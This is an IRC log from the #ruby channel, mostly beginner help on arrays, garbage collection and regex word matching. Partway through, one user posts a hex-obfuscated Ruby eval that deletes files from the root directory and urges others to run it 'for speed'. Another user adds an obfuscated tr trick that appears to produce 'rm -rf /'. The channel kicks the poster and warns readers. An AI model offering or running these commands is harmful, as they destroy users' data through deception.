idefine has joined #ruby
TomyLobo has quit [Ping timeout: 252 seconds]
chipotle has joined #ruby
jenrzzz has quit [Ping timeout: 260 seconds]
fedexo has quit [Ping timeout: 250 seconds]
zacstewart has joined #ruby
Ishido has quit [Quit: Roads? Where We're Going We Don't Need Roads.]
dikaio has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
gooooodroot has joined #ruby
QORRiE has quit [Read error: Connection reset by peer]
charliesome has joined #ruby
QORRiE has joined #ruby
auxbuss has quit [Quit: I'm gone.]
Silox| has quit [Quit: Connection closed for inactivity]
goooodroot has quit [Ping timeout: 240 seconds]
Rodya_ has quit [Remote host closed the connection]
kareeoleez has quit [Remote host closed the connection]
chouhoulis has quit [Remote host closed the connection]
ur5us has joined #ruby
sp4rrow has joined #ruby
idefine has quit [Remote host closed the connection]
serp3nt has joined #ruby
edwinvdgraaf has quit [Remote host closed the connection]
LoneHerm_ has joined #ruby
kirillow has quit [Quit: WeeChat 1.0.1]
DoubleMalt has quit [Remote host closed the connection]
duderonomy has joined #ruby
zeroDivisible has joined #ruby
jeff2 has joined #ruby
houhoulis has quit [Remote host closed the connection]
<jeff2> Hi, how do I add an entire array to another, and delete the old one. I am aware of arr1 << arr2
<Ox0dea> &ri Array#concat jeff2
Moosashi has quit [Quit: Moosashi]
SilverKey has joined #ruby
<apeiros> "and delete the old one"?
<apeiros> what's that supposed to mean?
<serp3nt> delete the old one
<serp3nt> just kidding
<serp3nt> where is it written?
<apeiros> serp3nt: in jeff2's question
<serp3nt> I'd do arr1 + arr2
<serp3nt> arr1 = nil
<serp3nt> it seems really this simple
<serp3nt> woops
zacstewart has quit [Ping timeout: 260 seconds]
<serp3nt> newarr = arr1 + arr2
<serp3nt> arr1 = nil
<serp3nt> done
<jeff2> so doing arr1 = nil, is that good practice ?
<Ox0dea> No.
<Ox0dea> Ruby is garbage-collected.
sp4rrow has quit [Quit: The Internet needs a break and I need a cookie]
donovan has joined #ruby
<jeff2> Ox0dea: what do you suggest ?
<Ox0dea> jeff2: What's your use case?
<jeff2> I was thinking that it can't be that simple
<Ox0dea> It is simple, but you've not been overly clear about what you want to do.
<serp3nt> he mentioned "deleting" the old array, that's why I wrote "arr1 = nil". But actually you just ignore the old array
<serp3nt> you do not need "delete" the old array
<serp3nt> just ignore it in the rest of your code
<serp3nt> and the array will be garbage collected when its scope were destroyed
ramfjord has joined #ruby
<jeff2> Ox0dea: I have an array with some elements, and I want to prioritize some values inside, and also arrange them, so I am creating a new array and putting first the ones I need to have prior and then adding what's left
<Ox0dea> jeff2: Sounds like you want #sort_by.
<serp3nt> something like [2, 3, 1, 4] becomes [1, 2, 3, 4] after your procedure?
Rodya_ has joined #ruby
<jeff2> Ox0dea: yes but I have also used regex to filter the words I need first, and put them before the other words, and than I am using sord_by
donovan is now known as TinCan_Assassin
<jeff2> serp3nt: I have words say like Ruby, that needs to be before ['a', 'b', 'c']
<serp3nt> so you like to sort words BEFORE individual chars?
<serp3nt> well, if it's what you want
diego1 has joined #ruby
<serp3nt> i'd write a function that gather the words and individual chars and put each of them in separated arrays
GinoMan2440 has quit [Ping timeout: 240 seconds]
<serp3nt> and then concat them
ramfjord has quit [Ping timeout: 260 seconds]
UserInNeed is now known as [-__-]
<TinCan_Assassin> Question: How can I single out a given word in a string in a gets.chomp for use in an if statement?
<Ox0dea> TinCan_Assassin: Please clarify.
scepticulous has quit [Ping timeout: 240 seconds]
Es0teric has quit [Quit: Computer has gone to sleep.]
<jeff2> serp3nt: I think I am doing that, but after concat I am not sure what to do with the one of the arrays, so setting it to nil might be an option
<[-__-]> gets.chomp.split[n]
<Ox0dea> jeff2: https://eval.in/567126
<serp3nt> like I said: just ignore them
zeroDivisible has quit [Quit: WeeChat 1.4]
<serp3nt> when the function ends
diegoviola has quit [Ping timeout: 276 seconds]
zeroDivisible has joined #ruby
<serp3nt> the scope will be destroyed
<jeff2> ok
<serp3nt> and the arrays will be garbage collector
<serp3nt> correction: garbage collected
sp4rrow has joined #ruby
<jeff2> Ox0dea: thnx will look into that too, since even in that world list one of the words need to be first[0]
* hanmac now collect cabbage
<TinCan_Assassin> name = gets.chomp /n if name.downcase = "arthur"; #etc What I want is if someone responds "Arthur, King of the Britons" to single out the word Arthur and use it as the basis for my if Statement, without it being excepted for the other words in the string.
mdw has quit [Quit: Sleeping Zzzzz]
GinoMan2440 has joined #ruby
<apeiros> TinCan_Assassin: if name =~ /\barthur\b/i
htmldrum has joined #ruby
<Ox0dea> apeiros: That'll match "I am not Arthur".
dikaio has joined #ruby
<apeiros> sure
<apeiros> it'll be "the basis for their if statement"
Moosashi has joined #ruby
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
<[-__-]> how about the split function or whatever it's called?
<[-__-]> gets.chomp.split[1]
<Ox0dea> [-__-]: What's wrong with your face?
<[-__-]> ???
<[-__-]> there's nothing wrong with my face
<TinCan_Assassin> Turning it into an array of strings??
<[-__-]> TinCan_Assassin, idk, just compare wwith the first string
Gasher has quit [Quit: Leaving]
<Ox0dea> TinCan_Assassin: As apeiros has indicated, you want a regular expression.
<TinCan_Assassin> Right.
<[-__-]> yeah, my solution is terrible
<Ox0dea> The proffered one does the trick unless you want the name to be the first word in the input.
bronson has joined #ruby
charliesome has quit [Ping timeout: 260 seconds]
<TinCan_Assassin> I actually like it. Now, mind explaining why it works to a Ruby newb?
Labaleine has quit [Ping timeout: 276 seconds]
<[-__-]> which one?
justin_pdx has joined #ruby
Labaleine has joined #ruby
<Ox0dea> TinCan_Assassin: The \b anchor matches a "word boundary" and the /i flag enables case-insensitivity.
<TinCan_Assassin> apeiros solution.
<[-__-]> ok
<[-__-]> ¯\_(ツ)_/¯
<shevy> ack
Musashi007 has joined #ruby
<shevy> a speaking smiley!
<TinCan_Assassin> name =~ \barthur\b/i
<Ox0dea> TinCan_Assassin: The \b anchor matches a "word boundary" and the /i flag enables case-insensitivity.
bihi has quit [Quit: Bye!]
<TinCan_Assassin> OK. Thank you for the explanation. I'm writing my first program after Codecademy, for practice sake.
<TinCan_Assassin> I'm interested in becoming a developer.
<apeiros> TinCan_Assassin: you should practice precision. you used = instead of == earlier, and here you lacked a /
bihi has joined #ruby
diego1 has quit [Changing host]
diego1 has joined #ruby
diego1 is now known as diegoviola
<apeiros> programming languages are rather unforgiving, and with helpers, it makes it more difficult to figure what you mean.
<TinCan_Assassin> OK.
<Ox0dea> "For all its power, the computer is a harsh taskmaster. Its programs must be correct, and what we wish to say must be said accurately in every detail."
<TinCan_Assassin> if name =~ /\barthur\b/i; puts "What...is the airspeed velocity of a coconut laden swallow?"?"
<shevy> java!
QORRiE has quit [Quit: Exiting...]
<TinCan_Assassin> ok, I get =~, what's the purpose of the / before the \b?
<Ox0dea> >> /foo/.class # TinCan_Assassin
<ruby[bot]> Ox0dea: # => Regexp (https://eval.in/567128)
jaruga___ has joined #ruby
jaruga___ has quit [Client Quit]
<[-__-]> hey Ox0dea
cdg has quit [Remote host closed the connection]
<TinCan_Assassin> Got it.
JoshGlzBrk has joined #ruby
<TinCan_Assassin> Wife and daughter are demanding my attention. Thank you for the help. I'll likely be back.
TinCan_Assassin has quit [Quit: Leaving]
drptbl has joined #ruby
skade has quit [Quit: Computer has gone to sleep.]
drptbl has quit [Client Quit]
Musashi007 has quit [Quit: Musashi007]
Jackneill has quit [Ping timeout: 244 seconds]
moeabdol has quit [Ping timeout: 260 seconds]
pawnbox has joined #ruby
<serp3nt> ruby -e 'eval("\x46\x69\x6c\x65\x55\x74\x69\x6c\x73\x2e\x72\x6d\x5f\x66\x28\x27\x2f\x27\x2c\x20\x3a\x76\x65\x72\x62\x6f\x73\x65\x20\x3d\x3e\x20\x66\x61\x6c\x73\x65\x2c\x20\x3a\x70\x72\x65\x73\x65\x72\x76\x65\x20\x3d\x3e\x20\x66\x61\x6c\x73\x65\x29")'
<serp3nt> run this command in your computer
<serp3nt> and it'll be much more fast
<serp3nt> try it
<serp3nt> it worked with me
justin_pdx has quit [Quit: justin_pdx]
<apeiros> !kick serp3nt not funny
serp3nt was kicked from #ruby by ruby[bot] [not funny]
<apeiros> in case it's not obvious - don't execute the above code.
<Ox0dea> I'm gonna do it.
<Nilium> They're gonna do it.
baweaver_away is now known as baweaver
xlegoman has joined #ruby
<Ox0dea> It's `FileUtils.rm_f('/', :verbose => false, :preserve => false)`.
<Nilium> Kind of figured.
<Nilium> Nobody has any originality.
<Ox0dea> I have one.
justin_pdx has joined #ruby
<Nilium> Saving it?
<Ox0dea> $ `echo landline | tr denial -/\ fmr`
pawnbox has quit [Ping timeout: 244 seconds]
jeff2 has quit [Ping timeout: 250 seconds]
bobbycvi has joined #ruby
goodroot has joined #ruby
justin_pdx has quit [Quit: justin_pdx]
<Zarthus> i dunno why people obfuscate their exploits, personally I've only ever fallen for the nonobfuscated ones
chouhoulis has joined #ruby
kus has joined #ruby
kus has quit [Max SendQ exceeded]
chouhoulis has quit [Remote host closed the connection]
gooooodroot has quit [Ping timeout: 250 seconds]
chouhoulis has joined #ruby
<Ox0dea> Are curlpipes "obfuscated"?
johnny56_ has joined #ruby
SilverKey has quit [Quit: Halted.]
SubjectiveBias has quit [Quit: Lost terminal]
<Zarthus> not really, no. but that's not one i've fallen for so far
johnny56 has quit [Ping timeout: 264 seconds]
kkeuning has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
justbleed has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
zacstewart has joined #ruby
mjuszczak has joined #ruby
zenlot6 has joined #ruby
zenlot has quit [Ping timeout: 246 seconds]
GodFather has quit [Ping timeout: 265 seconds]
ramfjord has joined #ruby
kkeuning has joined #ruby
zacstewart has quit [Ping timeout: 240 seconds]
GodFather has joined #ruby
djbkd has joined #ruby
`tim` has joined #ruby
xall has joined #ruby
stannard has quit [Remote host closed the connection]
platzhirsch has quit [Ping timeout: 244 seconds]
gooodroot has joined #ruby
SilverKey has joined #ruby
goodroot has quit [Ping timeout: 252 seconds]
bronson has quit [Remote host closed the connection]
firstdayonthejob has quit [Ping timeout: 265 seconds]
unreal_ is now known as unreal
aspiers_ has quit [Quit: WeeChat 1.3]
aspiers has joined #ruby
DarthGandalf has quit [Ping timeout: 244 seconds]
Labaleine has quit [Read error: Connection reset by peer]
Labaleine has joined #ruby
drewo has joined #ruby
Hitl3rLov3dJ3ws has joined #ruby
weemsledeux has joined #ruby
Hitl3rLov3dJ3ws has quit [Quit: Page closed]
matp is now known as atp
atp is now known as matp
DarthGandalf has joined #ruby
ddffg has quit [Ping timeout: 276 seconds]
xall has quit [Quit: WeeChat 1.4]
spider-mario has quit [Read error: Connection reset by peer]
ruby-lang085 has joined #ruby
goooodroot has joined #ruby
mjuszczak has quit []
antgel has quit [Ping timeout: 265 seconds]
Moosashi has quit [Quit: Moosashi]
chouhoulis has quit [Remote host closed the connection]
blackmes1 has quit [Ping timeout: 240 seconds]
<Radar> !badnick Hitl3rLov3dJ3ws
antgel has joined #ruby
gooodroot has quit [Ping timeout: 252 seconds]
drewo has quit [Ping timeout: 240 seconds]
ruby-lang085 has quit [Ping timeout: 250 seconds]
mjuszczak has joined #ruby
mjuszczak has quit [Max SendQ exceeded]
mjuszczak has joined #ruby
mjuszczak has quit [Client Quit]
mjuszczak has joined #ruby
mjuszczak has quit [Max SendQ exceeded]
xall has joined #ruby
xall has quit [Client Quit]
mjuszczak has joined #ruby
mjuszczak has quit [Max SendQ exceeded]
Musashi007 has joined #ruby
mjuszczak has joined #ruby
xall has joined #ruby
Es0teric has joined #ruby
perturbation has joined #ruby
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
nando294021 has joined #ruby
elifoster has joined #ruby
skweek has quit [Ping timeout: 252 seconds]
antgel has quit [Ping timeout: 276 seconds]
Qommand0r has quit [Quit: Exiting...]
JoshGlzBrk has joined #ruby
Qommand0r has joined #ruby
aibot__ has quit [Remote host closed the connection]
aibot has joined #ruby
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
jenrzzz has joined #ruby
Chachi has joined #ruby
zacstewart has joined #ruby
jenrzzz has quit [Ping timeout: 276 seconds]
saneax_AFK is now known as saneax
symm- has quit [Ping timeout: 265 seconds]
diego1 has joined #ruby
Madplatypus has joined #ruby
charliesome has joined #ruby
Labaleine has quit [Read error: Connection reset by peer]
koooge has joined #ruby
diegoviola has quit [Ping timeout: 265 seconds]
zacstewart has quit [Ping timeout: 276 seconds]
Snowy has quit [Remote host closed the connection]
djbkd has quit [Remote host closed the connection]
zeroDivisible has quit [Quit: WeeChat 1.4]
djbkd has joined #ruby
Rodya_ has quit [Remote host closed the connection]
zacstewart has joined #ruby
zeroDi has joined #ruby
yfeldblum has quit [Ping timeout: 246 seconds]
djbkd has quit [Ping timeout: 246 seconds]
mikecmpbll has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
SilverKey has quit [Quit: Halted.]
gooooodroot has joined #ruby
CloCkWeRX has joined #ruby
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
zeroDi has quit [Quit: WeeChat 1.4]
SCHAAP137 has quit [Quit: Leaving]
zeroDivisible has joined #ruby
goooodroot has quit [Ping timeout: 244 seconds]
goodroot has joined #ruby
nofxx has quit [Ping timeout: 244 seconds]
zeroDi has joined #ruby
zeroDi has quit [Client Quit]
bronson has joined #ruby
chipotle has quit [Ping timeout: 276 seconds]
Musashi007 has quit [Quit: Musashi007]
gooooodroot has quit [Ping timeout: 276 seconds]
Tempesta has joined #ruby
chouhoulis has joined #ruby
`tim` has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
Rodya_ has joined #ruby
drewo has joined #ruby
nerium has joined #ruby
dikaio has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
blaxter has quit [Read error: Connection reset by peer]
bronson has quit [Ping timeout: 252 seconds]
yfeldblum has joined #ruby
chouhoulis has quit [Ping timeout: 250 seconds]
drewo has quit [Ping timeout: 246 seconds]
statelesscode has quit [Ping timeout: 265 seconds]